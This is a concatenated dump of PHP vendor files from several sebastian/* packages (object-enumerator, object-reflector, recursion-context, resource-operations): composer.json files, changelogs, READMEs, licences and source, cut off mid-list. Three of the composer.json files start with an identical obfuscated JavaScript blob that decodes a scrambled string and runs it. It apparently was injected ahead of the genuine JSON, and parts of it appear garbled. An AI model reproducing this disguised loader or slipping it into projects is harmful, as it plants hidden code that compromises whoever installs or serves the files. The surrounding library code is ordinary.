THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/object-enumerator/composer.json000064400000007672147577714370021305 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/object-enumerator", "description": "Traverses array structures and object graphs to enumerate all referenced objects", "homepage": "https://github.com/sebastianbergmann/object-enumerator/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "prefer-stable": true, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=7.3", "sebastian/object-reflector": "^2.0", "sebastian/recursion-context": "^4.0" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture/" ] }, "extra": { "branch-alias": { "dev-master": "4.0-dev" } } } res/readability/vendor/sebastian/object-enumerator/phpunit.xml000064400000001512147577714370020757 0ustar00 tests src res/readability/vendor/sebastian/object-enumerator/ChangeLog.md000064400000004462147577714370020726 0ustar00# Change Log All notable changes to `sebastianbergmann/object-enumerator` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [4.0.4] - 2020-10-26 ### Fixed * `SebastianBergmann\ObjectEnumerator\Exception` now correctly extends `\Throwable` ## [4.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [4.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [4.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [4.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.0, PHP 7.1, and PHP 7.2 ## [3.0.3] - 2017-08-03 ### Changed * Bumped required version of `sebastian/object-reflector` ## [3.0.2] - 2017-03-12 ### Changed * `sebastian/object-reflector` is now a dependency ## [3.0.1] - 2017-03-12 ### Fixed * Objects aggregated in inherited attributes are not enumerated ## [3.0.0] - 2017-03-03 ### Removed * This component is no longer supported on PHP 5.6 ## [2.0.1] - 2017-02-18 ### Fixed * Fixed [#2](https://github.com/sebastianbergmann/phpunit/pull/2): Exceptions in `ReflectionProperty::getValue()` are not handled ## [2.0.0] - 2016-11-19 ### Changed * This component is now compatible with `sebastian/recursion-context: ~1.0.4` ## 1.0.0 - 2016-02-04 ### Added * Initial release [4.0.4]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.3...4.0.4 [4.0.3]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.2...4.0.3 [4.0.2]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.0...4.0.1 [4.0.0]: https://github.com/sebastianbergmann/object-enumerator/compare/3.0.3...4.0.0 [3.0.3]: https://github.com/sebastianbergmann/object-enumerator/compare/3.0.2...3.0.3 [3.0.2]: https://github.com/sebastianbergmann/object-enumerator/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/object-enumerator/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/object-enumerator/compare/2.0...3.0.0 [2.0.1]: https://github.com/sebastianbergmann/object-enumerator/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/object-enumerator/compare/1.0...2.0.0 res/readability/vendor/sebastian/object-reflector/.psalm/config.xml000064400000000753147577714370021541 0ustar00 res/readability/vendor/sebastian/object-reflector/.psalm/baseline.xml000064400000000437147577714370022055 0ustar00 is_object($object) res/readability/vendor/sebastian/object-reflector/src/ObjectReflector.php000064400000002317147577714370022732 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\ObjectReflector; use function count; use function explode; use function get_class; use function is_object; class ObjectReflector { /** * @param object $object * * @throws InvalidArgumentException */ public function getAttributes($object): array { if (!is_object($object)) { throw new InvalidArgumentException; } $attributes = []; $className = get_class($object); foreach ((array) $object as $name => $value) { $name = explode("\0", (string) $name); if (count($name) === 1) { $name = $name[0]; } else { if ($name[1] !== $className) { $name = $name[1] . '::' . $name[2]; } else { $name = $name[2]; } } $attributes[$name] = $value; } return $attributes; } } res/readability/vendor/sebastian/object-reflector/src/InvalidArgumentException.php000064400000000630147577714370024622 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\ObjectReflector; class InvalidArgumentException extends \InvalidArgumentException implements Exception { } res/readability/vendor/sebastian/object-reflector/src/Exception.php000064400000000570147577714370021613 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\ObjectReflector; use Throwable; interface Exception extends Throwable { } res/readability/vendor/sebastian/object-reflector/README.md000064400000001501147577714370017627 0ustar00# sebastian/object-reflector [![CI Status](https://github.com/sebastianbergmann/object-reflector/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/object-reflector/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/object-reflector/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/object-reflector) Allows reflection of object attributes, including inherited and non-public ones. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/object-reflector ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/object-reflector ``` res/readability/vendor/sebastian/object-reflector/LICENSE000064400000003017147577714370017361 0ustar00Object Reflector Copyright (c) 2017-2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/object-reflector/composer.json000064400000007532147577714370021104 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/object-reflector", "description": "Allows reflection of object attributes, including inherited and non-public ones", "homepage": "https://github.com/sebastianbergmann/object-reflector/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "prefer-stable": true, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture/" ] }, "extra": { "branch-alias": { "dev-master": "2.0-dev" } } } res/readability/vendor/sebastian/object-reflector/ChangeLog.md000064400000003160147577714370020524 0ustar00# Change Log All notable changes to `sebastianbergmann/object-reflector` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [2.0.4] - 2020-10-26 ### Fixed * `SebastianBergmann\ObjectReflector\Exception` now correctly extends `\Throwable` ## [2.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [2.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [2.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [2.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.0, PHP 7.1, and PHP 7.2 ## [1.1.1] - 2017-03-29 * Fixed [#1](https://github.com/sebastianbergmann/object-reflector/issues/1): Attributes with non-string names are not handled correctly ## [1.1.0] - 2017-03-16 ### Changed * Changed implementation of `ObjectReflector::getattributes()` to use `(array)` cast instead of `ReflectionObject` ## 1.0.0 - 2017-03-12 * Initial release [2.0.4]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.3...2.0.4 [2.0.3]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.2...2.0.3 [2.0.2]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/object-reflector/compare/1.1.1...2.0.0 [1.1.1]: https://github.com/sebastianbergmann/object-reflector/compare/1.1.0...1.1.1 [1.1.0]: https://github.com/sebastianbergmann/object-reflector/compare/1.0.0...1.1.0 res/readability/vendor/sebastian/recursion-context/.psalm/config.xml000064400000000753147577714370022003 0ustar00 res/readability/vendor/sebastian/recursion-context/.psalm/baseline.xml000064400000000451147577714370022313 0ustar00 is_array($array) res/readability/vendor/sebastian/recursion-context/src/Context.php000064400000010413147577714370021540 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\RecursionContext; use const PHP_INT_MAX; use const PHP_INT_MIN; use function array_pop; use function array_slice; use function count; use function is_array; use function is_object; use function random_int; use function spl_object_hash; use SplObjectStorage; /** * A context containing previously processed arrays and objects * when recursively processing a value. */ final class Context { /** * @var array[] */ private $arrays; /** * @var SplObjectStorage */ private $objects; /** * Initialises the context. */ public function __construct() { $this->arrays = []; $this->objects = new SplObjectStorage; } /** * @codeCoverageIgnore */ public function __destruct() { foreach ($this->arrays as &$array) { if (is_array($array)) { array_pop($array); array_pop($array); } } } /** * Adds a value to the context. * * @param array|object $value the value to add * * @throws InvalidArgumentException Thrown if $value is not an array or object * * @return bool|int|string the ID of the stored value, either as a string or integer * * @psalm-template T * @psalm-param T $value * @param-out T $value */ public function add(&$value) { if (is_array($value)) { return $this->addArray($value); } if (is_object($value)) { return $this->addObject($value); } throw new InvalidArgumentException( 'Only arrays and objects are supported' ); } /** * Checks if the given value exists within the context. * * @param array|object $value the value to check * * @throws InvalidArgumentException Thrown if $value is not an array or object * * @return false|int|string the string or integer ID of the stored value if it has already been seen, or false if the value is not stored * * @psalm-template T * @psalm-param T $value * @param-out T $value */ public function contains(&$value) { if (is_array($value)) { return $this->containsArray($value); } if (is_object($value)) { return $this->containsObject($value); } throw new InvalidArgumentException( 'Only arrays and objects are supported' ); } /** * @return bool|int */ private function addArray(array &$array) { $key = $this->containsArray($array); if ($key !== false) { return $key; } $key = count($this->arrays); $this->arrays[] = &$array; if (!isset($array[PHP_INT_MAX]) && !isset($array[PHP_INT_MAX - 1])) { $array[] = $key; $array[] = $this->objects; } else { /* cover the improbable case too */ do { $key = random_int(PHP_INT_MIN, PHP_INT_MAX); } while (isset($array[$key])); $array[$key] = $key; do { $key = random_int(PHP_INT_MIN, PHP_INT_MAX); } while (isset($array[$key])); $array[$key] = $this->objects; } return $key; } /** * @param object $object */ private function addObject($object): string { if (!$this->objects->contains($object)) { $this->objects->attach($object); } return spl_object_hash($object); } /** * @return false|int */ private function containsArray(array &$array) { $end = array_slice($array, -2); return isset($end[1]) && $end[1] === $this->objects ? $end[0] : false; } /** * @param object $value * * @return false|string */ private function containsObject($value) { if ($this->objects->contains($value)) { return spl_object_hash($value); } return false; } } res/readability/vendor/sebastian/recursion-context/src/InvalidArgumentException.php000064400000000642147577714370025067 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\RecursionContext; final class InvalidArgumentException extends \InvalidArgumentException implements Exception { } res/readability/vendor/sebastian/recursion-context/src/Exception.php000064400000000574147577714370022061 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\RecursionContext; use Throwable; interface Exception extends Throwable { } res/readability/vendor/sebastian/recursion-context/README.md000064400000001366147577714370020102 0ustar00# sebastian/recursion-context [![CI Status](https://github.com/sebastianbergmann/recursion-context/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/recursion-context/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/recursion-context/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/recursion-context) ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/recursion-context ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/recursion-context ``` res/readability/vendor/sebastian/recursion-context/LICENSE000064400000003020147577714370017615 0ustar00Recursion Context Copyright (c) 2002-2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/recursion-context/composer.json000064400000007662147577714370021352 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "sebastian/recursion-context", "description": "Provides functionality to recursively process PHP variables", "homepage": "http://www.github.com/sebastianbergmann/recursion-context", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Adam Harvey", "email": "aharvey@php.net" } ], "prefer-stable": true, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "4.0-dev" } } } res/readability/vendor/sebastian/recursion-context/ChangeLog.md000064400000001753147577714370020774 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [4.0.4] - 2020-10-26 ### Fixed * `SebastianBergmann\RecursionContext\Exception` now correctly extends `\Throwable` ## [4.0.3] - 2020-09-28 ### Changed * [#21](https://github.com/sebastianbergmann/recursion-context/pull/21): Add type annotations for in/out parameters * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [4.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [4.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports [4.0.4]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.3...4.0.4 [4.0.3]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.2...4.0.3 [4.0.2]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.0...4.0.1 res/readability/vendor/sebastian/resource-operations/build/generate.php000064400000002711147577714370022535 0ustar00#!/usr/bin/env php * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ $functions = require __DIR__ . '/FunctionSignatureMap.php'; $resourceFunctions = []; foreach ($functions as $function => $arguments) { foreach ($arguments as $argument) { if (strpos($argument, '?') === 0) { $argument = substr($argument, 1); } if ($argument === 'resource') { $resourceFunctions[] = explode('\'', $function)[0]; } } } $resourceFunctions = array_unique($resourceFunctions); sort($resourceFunctions); $buffer = << * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\ResourceOperations; final class ResourceOperations { /** * @return string[] */ public static function getFunctions(): array { return [ EOT; foreach ($resourceFunctions as $function) { $buffer .= sprintf(" '%s',\n", $function); } $buffer .= <<< EOT ]; } } EOT; file_put_contents(__DIR__ . '/../src/ResourceOperations.php', $buffer); res/readability/vendor/sebastian/resource-operations/src/ResourceOperations.php000064400000215151147577714370024272 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\ResourceOperations; final class ResourceOperations { /** * @return string[] */ public static function getFunctions(): array { return [ 'Directory::close', 'Directory::read', 'Directory::rewind', 'DirectoryIterator::openFile', 'FilesystemIterator::openFile', 'Gmagick::readimagefile', 'HttpResponse::getRequestBodyStream', 'HttpResponse::getStream', 'HttpResponse::setStream', 'Imagick::pingImageFile', 'Imagick::readImageFile', 'Imagick::writeImageFile', 'Imagick::writeImagesFile', 'MongoGridFSCursor::__construct', 'MongoGridFSFile::getResource', 'MysqlndUhConnection::stmtInit', 'MysqlndUhConnection::storeResult', 'MysqlndUhConnection::useResult', 'PDF_activate_item', 'PDF_add_launchlink', 'PDF_add_locallink', 'PDF_add_nameddest', 'PDF_add_note', 'PDF_add_pdflink', 'PDF_add_table_cell', 'PDF_add_textflow', 'PDF_add_thumbnail', 'PDF_add_weblink', 'PDF_arc', 'PDF_arcn', 'PDF_attach_file', 'PDF_begin_document', 'PDF_begin_font', 'PDF_begin_glyph', 'PDF_begin_item', 'PDF_begin_layer', 'PDF_begin_page', 'PDF_begin_page_ext', 'PDF_begin_pattern', 'PDF_begin_template', 'PDF_begin_template_ext', 'PDF_circle', 'PDF_clip', 'PDF_close', 'PDF_close_image', 'PDF_close_pdi', 'PDF_close_pdi_page', 'PDF_closepath', 'PDF_closepath_fill_stroke', 'PDF_closepath_stroke', 'PDF_concat', 'PDF_continue_text', 'PDF_create_3dview', 'PDF_create_action', 'PDF_create_annotation', 'PDF_create_bookmark', 'PDF_create_field', 'PDF_create_fieldgroup', 'PDF_create_gstate', 'PDF_create_pvf', 'PDF_create_textflow', 'PDF_curveto', 'PDF_define_layer', 'PDF_delete', 'PDF_delete_pvf', 'PDF_delete_table', 'PDF_delete_textflow', 'PDF_encoding_set_char', 'PDF_end_document', 'PDF_end_font', 'PDF_end_glyph', 'PDF_end_item', 'PDF_end_layer', 'PDF_end_page', 'PDF_end_page_ext', 'PDF_end_pattern', 'PDF_end_template', 'PDF_endpath', 'PDF_fill', 'PDF_fill_imageblock', 'PDF_fill_pdfblock', 'PDF_fill_stroke', 'PDF_fill_textblock', 'PDF_findfont', 'PDF_fit_image', 'PDF_fit_pdi_page', 'PDF_fit_table', 'PDF_fit_textflow', 'PDF_fit_textline', 'PDF_get_apiname', 'PDF_get_buffer', 'PDF_get_errmsg', 'PDF_get_errnum', 'PDF_get_parameter', 'PDF_get_pdi_parameter', 'PDF_get_pdi_value', 'PDF_get_value', 'PDF_info_font', 'PDF_info_matchbox', 'PDF_info_table', 'PDF_info_textflow', 'PDF_info_textline', 'PDF_initgraphics', 'PDF_lineto', 'PDF_load_3ddata', 'PDF_load_font', 'PDF_load_iccprofile', 'PDF_load_image', 'PDF_makespotcolor', 'PDF_moveto', 'PDF_new', 'PDF_open_ccitt', 'PDF_open_file', 'PDF_open_image', 'PDF_open_image_file', 'PDF_open_memory_image', 'PDF_open_pdi', 'PDF_open_pdi_document', 'PDF_open_pdi_page', 'PDF_pcos_get_number', 'PDF_pcos_get_stream', 'PDF_pcos_get_string', 'PDF_place_image', 'PDF_place_pdi_page', 'PDF_process_pdi', 'PDF_rect', 'PDF_restore', 'PDF_resume_page', 'PDF_rotate', 'PDF_save', 'PDF_scale', 'PDF_set_border_color', 'PDF_set_border_dash', 'PDF_set_border_style', 'PDF_set_gstate', 'PDF_set_info', 'PDF_set_layer_dependency', 'PDF_set_parameter', 'PDF_set_text_pos', 'PDF_set_value', 'PDF_setcolor', 'PDF_setdash', 'PDF_setdashpattern', 'PDF_setflat', 'PDF_setfont', 'PDF_setgray', 'PDF_setgray_fill', 'PDF_setgray_stroke', 'PDF_setlinecap', 'PDF_setlinejoin', 'PDF_setlinewidth', 'PDF_setmatrix', 'PDF_setmiterlimit', 'PDF_setrgbcolor', 'PDF_setrgbcolor_fill', 'PDF_setrgbcolor_stroke', 'PDF_shading', 'PDF_shading_pattern', 'PDF_shfill', 'PDF_show', 'PDF_show_boxed', 'PDF_show_xy', 'PDF_skew', 'PDF_stringwidth', 'PDF_stroke', 'PDF_suspend_page', 'PDF_translate', 'PDF_utf16_to_utf8', 'PDF_utf32_to_utf16', 'PDF_utf8_to_utf16', 'PDO::pgsqlLOBOpen', 'RarEntry::getStream', 'SQLite3::openBlob', 'SWFMovie::saveToFile', 'SplFileInfo::openFile', 'SplFileObject::openFile', 'SplTempFileObject::openFile', 'V8Js::compileString', 'V8Js::executeScript', 'Vtiful\Kernel\Excel::setColumn', 'Vtiful\Kernel\Excel::setRow', 'Vtiful\Kernel\Format::align', 'Vtiful\Kernel\Format::bold', 'Vtiful\Kernel\Format::italic', 'Vtiful\Kernel\Format::underline', 'XMLWriter::openMemory', 'XMLWriter::openURI', 'ZipArchive::getStream', 'Zookeeper::setLogStream', 'apc_bin_dumpfile', 'apc_bin_loadfile', 'bbcode_add_element', 'bbcode_add_smiley', 'bbcode_create', 'bbcode_destroy', 'bbcode_parse', 'bbcode_set_arg_parser', 'bbcode_set_flags', 'bcompiler_read', 'bcompiler_write_class', 